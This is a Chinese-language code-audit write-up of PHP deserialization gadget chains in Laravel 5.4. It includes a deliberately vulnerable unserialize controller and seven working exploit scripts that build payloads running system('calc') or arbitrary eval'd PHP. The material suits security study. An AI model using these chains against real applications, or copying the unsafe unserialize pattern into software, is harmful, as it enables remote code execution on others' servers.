前言
反序列化漏洞越来越常见了,在攻击中也经常使用此类漏洞,这里通过Laravel5.4来锻炼自己的代码审计能力。
环境搭建
在 routes/web.php
中添加路由。
Route::get('/', "DemoController@demo");
在 app/Http/Controllers
目录下添加控制器。
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class DemoController extends Controller
{
public function demo()
{
if(isset($_GET['data'])){
@unserialize(base64_decode($_GET['data']));
}
else{
highlight_file(__FILE__);
}
}
}
漏洞分析
先寻找一下反序列化漏洞的触发点,全局搜索 __destruct()
方法或者 __wakeup()
方法。
POC链-1
跟进 src/Illuminate/Broadcasting/PendingBroadcast.php
中的 __destruct()
方法,发现 $this->events
和 $this->event
都是可控的,因此可以寻找一个 __call()
方法或者 dispatch()
方法来进行利用。
先用 __call()
来做突破点,跟进 src/Faker/Generator.php
中的 __call()
方法,发现其调用了 format()
方法,进而调用 getFormatter()
方法。
由于 getFormatter()
方法中的 $this->formatters[$formatter]
是可控的并直接 return 回上一层,因此可以利用该可控参数来进行命令执行 RCE 操作
exp
<?php
namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;
function __construct($events="", $event="") {
$this->events = $events;
$this->event = $event;
}
}
}
namespace Faker {
class Generator {
protected $formatters = array();
function __construct($func="") {
$this->formatters = ['dispatch' => $func];
}
}
}
namespace {
$demo1 = new Faker\Generator("system");
$demo2 = new Illuminate\Broadcasting\PendingBroadcast($demo1, "calc");
echo base64_encode(serialize($demo2));
}
?>
POC链利用流程图
POC链-2
继续上面寻找可用的 __call()
方法,跟进 src/Illuminate/Validation/Validator.php
中的 __call()
方法,先进行字符串的操作截取 $method
第八个字符之后的字符,由于传入的字符串是 dispatch
,正好八个字符所以传入后为空,接着经过 if 逻辑调用 callExtension()
方法,触发 call_user_func_array
方法。
exp
<?php
namespace Illuminate\Validation {
class Validator {
public $extensions = [];
public function __construct() {
$this->extensions = ['' => 'system'];
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Validation\Validator;
class PendingBroadcast {
protected $events;
protected $event;
public function __construct($cmd)
{
$this->events = new Validator();
$this->event = $cmd;
}
}
echo base64_encode(serialize(new PendingBroadcast('calc')));
}
?>
POC链利用流程图
POC链-3
跟进 src/Illuminate/Support/Manager.php
中的 __call()
方法,其调用 driver()
方法。
跟进 createDriver()
方法,当 $this->customCreators[$driver]
存在时调用 callCustomCreator()
方法,进一步跟进 callCustomCreator()
方法,发现 $this->customCreators[$driver]
和 $this->app)
均是可控的,因此可以触发 RCE。
exp
<?php
namespace Illuminate\Notifications {
class ChannelManager {
protected $app;
protected $customCreators;
protected $defaultChannel;
public function __construct() {
$this->app = 'calc';
$this->defaultChannel = 'H3rmesk1t';
$this->customCreators = ['H3rmesk1t' => 'system'];
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Notifications\ChannelManager;
class PendingBroadcast {
protected $events;
public function __construct()
{
$this->events = new ChannelManager();
}
}
echo base64_encode(serialize(new PendingBroadcast()));
}
?>
POC链利用流程图
POC链-4
大致看了一遍 __call()
方法基本没有利用的地方了(太菜了找不到),开始跟一下 dispath()
方法。
先跟进 src/Illuminate/Events/Dispatcher.php
中的 dispatch()
方法,注意到 $listener($event, $payload)
,尝试以这个为突破口来实现 RCE。
看看 $listener
的值是如何来的,跟进 getListeners()
方法,这里可以先通过可控变量 $this->listeners[$eventName]
来控制 $listener
的值,接着进入数组合并函数,调用 getWildcardListeners()
方法,跟进去看一下,这里保持默认设置执行完之后会返回 $wildcards = []
,接着回到数组合并函数合并之后还是 $this->listeners[$eventName]
的值,接着进入 class_exists()
函数,这里由于并不会存在一个命令执行函数的类名,因此可以依旧还是返回 $this->listeners[$eventName]
的值。
控制了 $listener
的取值之后,将传入的 $event
的值作为命令执行函数的参数值即可来进行 RCE 操作。
exp
<?php
namespace Illuminate\Events {
class Dispatcher {
protected $listeners = [];
public function __construct() {
$this->listeners = ["calc" => ["system"]];
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Events\Dispatcher;
class PendingBroadcast {
protected $events;
protected $event;
public function __construct() {
$this->events = new Dispatcher();
$this->event = "calc";
}
}
echo base64_encode(serialize(new PendingBroadcast()));
}
?>
POC链利用流程图
POC链-5
继续跟 dispatch()
方法,跟进 src/Illuminate/Bus/Dispatcher.php
中的 dispatch()
方法,注意到该方法如果 if 语句判断为 true 的话,会进入 dispatchToQueue()
方法,跟进 dispatchToQueue()
方法发现 call_user_func()
方法。
先看看怎么使得进入 if 语句的循环中,首先 $this->queueResolver
是可控的,跟进 commandShouldBeQueued()
方法,这里判断 $command
是否是 ShouldQueue
的实现,即传入的 $command
必须是 ShouldQueue
接口的一个实现,而且 $command
类中包含 connection
属性。
这里找到两个符合条件的类 src/Illuminate/Notifications/SendQueuedNotifications.php
中的 SendQueuedNotifications
类和 src/Illuminate/Broadcasting/BroadcastEvent.php
中的 BroadcastEvent
类,当类是 use 了 trait 类,同样可以访问其属性,这里跟进 src/Illuminate/Bus/Queueable.php
。
exp
<?php
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver = "system";
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Bus\Dispatcher;
class BroadcastEvent {
public $connection;
public $event;
public function __construct() {
$this->event = "calc";
$this->connection = $this->event;
}
}
class PendingBroadcast {
protected $events;
protected $event;
public function __construct() {
$this->events = new Dispatcher();
$this->event = new BroadcastEvent();
}
}
echo base64_encode(serialize(new PendingBroadcast()));
}
?>
POC链利用流程图
POC链-6
继续接着上一条链子的 call_user_func()
方法往后,由于这里变量是可控的,因此可以调用任意类的方法,跟进 library/Mockery/Loader/EvalLoader.php
中的 load()
方法,这里如果不进入 if 循环从而触发到 getCode()
方法即可造成任意代码执行漏洞。
看看 if 循环的判断条件,一路跟进调用,由于最后的 $this->name
是可控的,因此只需要给它赋一个不存在的类名值即可,可利用的 getName()
方法比较多,选一个能用的就行。
exp-1
<?php
namespace Mockery\Generator {
class MockConfiguration {
protected $name = 'H3rmesk1t';
}
class MockDefinition {
protected $config;
protected $code;
public function __construct() {
$this->config = new MockConfiguration();
$this->code = "<?php system('calc');?>";
}
}
}
namespace Mockery\Loader {
class EvalLoader {}
}
namespace Illuminate\Bus {
use Mockery\Loader\EvalLoader;
class Dispatcher {
protected $queueResolver;
public function __construct() {
$this->queueResolver = [new EvalLoader(), 'load'];
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Bus\Dispatcher;
use Mockery\Generator\MockDefinition;
class BroadcastEvent {
public $connection;
public function __construct() {
$this->connection = new MockDefinition();
}
}
class PendingBroadcast {
protected $events;
protected $event;
public function __construct() {
$this->events = new Dispatcher();
$this->event = new BroadcastEvent();
}
}
echo base64_encode(serialize(new PendingBroadcast()));
}
?>
exp-2
<?php
namespace Symfony\Component\HttpFoundation {
class Cookie {
protected $name = "H3rmesk1t";
}
}
namespace Mockery\Generator {
use Symfony\Component\HttpFoundation\Cookie;
class MockDefinition {
protected $config;
protected $code;
public function __construct($code) {
$this->config = new Cookie();
$this->code = $code;
}
}
}
namespace Mockery\Loader {
class EvalLoader {}
}
namespace Illuminate\Bus {
use Mockery\Loader\EvalLoader;
class Dispatcher {
protected $queueResolver;
public function __construct() {
$this->queueResolver = [new EvalLoader(), 'load'];
}
}
}
namespace Illuminate\Broadcasting {
use Illuminate\Bus\Dispatcher;
use Mockery\Generator\MockDefinition;
class BroadcastEvent {
public $connection;
public function __construct() {
$this->connection = new MockDefinition("<?php system('calc');?>");
}
}
class PendingBroadcast {
protected $events;
protected $event;
public function __construct() {
$this->events = new Dispatcher();
$this->event = new BroadcastEvent();
}
}
echo base64_encode(serialize(new PendingBroadcast()));
}
?>